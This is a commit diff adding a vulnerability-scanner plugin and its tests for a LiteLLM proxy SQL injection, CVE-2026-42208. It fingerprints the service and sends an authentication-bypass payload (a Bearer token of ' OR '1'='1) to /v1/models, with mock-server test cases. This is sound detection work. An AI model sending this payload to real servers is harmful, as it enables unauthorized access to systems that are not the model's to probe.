feat(templated):CVE-2026-42208-litellm

templated/templateddetector/plugins/cve/2026/Litellm_SQL_Injection_CVE_2026_42208.textproto

@@ -0,0 +1,81 @@
+# proto-file: proto/templated_plugin.proto
+# proto-message: TemplatedPlugin
+
+###############
+# PLUGIN INFO #
+###############
+
+info: {
+  type: VULN_DETECTION
+  name: "Litellm_SQL_Injection_CVE_2026_42208"
+  author: "mangeshwalsane2-hash"
+  version: "1.0"
+}
+
+finding: {
+  main_id: {
+    publisher: "GOOGLE"
+    value: "CVE-2026-42208"
+  }
+  severity: CRITICAL
+  title: "SQL Injection affecting LiteLLM proxy authentication (CVE-2026-42208)"
+  description: "Vulnerable LiteLLM versions are susceptible to SQL injection in token verification queries. An unauthenticated attacker can supply crafted API keys containing malicious SQL syntax to bypass authentication."
+  recommendation: "Update the version to v1.83.7 or later where SQL queries are properly parameterized."
+  related_id: {
+    publisher: "CVE"
+    value: "CVE-2026-42208"
+  }
+}
+
+config: {}
+
+###########
+# ACTIONS #
+###########
+
+actions: {
+  name: "fingerprint_litellm"
+  http_request: {
+    method: GET
+    uri: "/health/readiness"
+    response: {
+      http_status: 200
+      expect_all: {
+        conditions: [
+          { body: {} contains: "litellm_version" },
+          { body: {} contains: "db" }
+        ]
+      }
+    }
+  }
+}
+
+actions: {
+  name: "trigger_sql_injection"
+  http_request: {
+    method: GET
+    uri: "/v1/models"
+    headers: [
+      { name: "Authorization" value: "Bearer ' OR '1'='1" }
+    ]
+    response: {
+      http_status: 200
+      expect_all: {
+        conditions: [
+          { body: {} contains: "object" }
+        ]
+      }
+    }
+  }
+}
+
+#############
+# WORKFLOWS #
+#############
+
+workflows: {
+  actions: [
+    "fingerprint_litellm",
+    "trigger_sql_injection"
+  ]
+}

templated/templateddetector/plugins/cve/2026/Litellm_SQL_Injection_CVE_2026_42208_test.textproto

@@ -0,0 +1,72 @@
+# proto-file: proto/templated_plugin_tests.proto
+# proto-message: TemplatedPluginTests
+
+config: {
+  tested_plugin: "Litellm_SQL_Injection_CVE_2026_42208"
+}
+
+tests: {
+  name: "whenVulnerable_returnsTrue"
+  expect_vulnerability: true
+
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "/health/readiness"
+        status: 200
+        body_content: "{\"status\":\"connected\",\"db\":\"connected\",\"litellm_version\":\"1.82.0\"}"
+      },
+      {
+        uri: "/v1/models"
+        status: 200
+        body_content: "{\"object\":\"list\",\"data\":[]}"
+        headers: [
+          { name: "Content-Type" value: "application/json" }
+        ]
+      }
+    ]
+  }
+}
+
+tests: {
+  name: "whenNotVulnerable_returnsFalse"
+  expect_vulnerability: false
+
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "/health/readiness"
+        status: 200
+        body_content: "{\"status\":\"connected\",\"db\":\"connected\",\"litellm_version\":\"1.83.7\"}"
+      },
+      {
+        uri: "/v1/models"
+        status: 401
+        body_content: "{\"error\":\"Unauthorized\"}"
+        headers: [
+          { name: "Content-Type" value: "application/json" }
+        ]
+      }
+    ]
+  }
+}
+
+tests: {
+  name: "whenNotLitellm_returnsFalse"
+  expect_vulnerability: false
+
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "/health/readiness"
+        status: 404
+        body_content: "Not Found"
+      },
+      {
+        uri: "/v1/models"
+        status: 404
+        body_content: "Not Found"
+      }
+    ]
+  }
+}